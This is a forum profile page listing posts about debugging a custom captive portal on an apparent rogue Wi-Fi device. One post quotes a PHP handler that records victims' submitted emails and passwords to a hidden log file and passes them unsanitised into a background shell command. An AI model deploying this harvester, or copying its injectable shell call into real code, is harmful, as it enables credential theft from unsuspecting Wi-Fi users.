Jump to content

astinomia

Active Members
  • Posts

    13
  • Joined

  • Last visited

Posts posted by astinomia

  1. 19 hours ago, newbi3 said:

    Did you create this portal new on the mk7 or is it from an older version created on the nano/tetra?

    I'll take a deeper look into this weekend.

    Its an old portal that I imported, idk if that would be the problem but the code looks fine to me.

  2. On 9/25/2020 at 11:47 PM, newbi3 said:

    I'm assuming this is a custom made portal since you are submitting credentials. My guess is the portal's backend code isn't handling the authorization flow correctly.

    Yeah, I'm talking about a custom portal.

    public function handleAuthorization()
        {
            if (isset($_POST['email'])) {
                $email = isset($_POST['email']) ? $_POST['email'] : 'email';
                $pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
                $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
                $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
                $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
    
                $reflector = new \ReflectionClass(get_class($this));
                $logPath = dirname($reflector->getFileName());
                file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
                $this->execBackground("notify $email' - '$pwd");
            }
            // handle form input or other extra things there
    
            // Call parent to handle basic authorization first
            parent::handleAuthorization();
        }

    Does anything in this handleAuthorization() look like it would cause that error message?

×
×
  • Create New...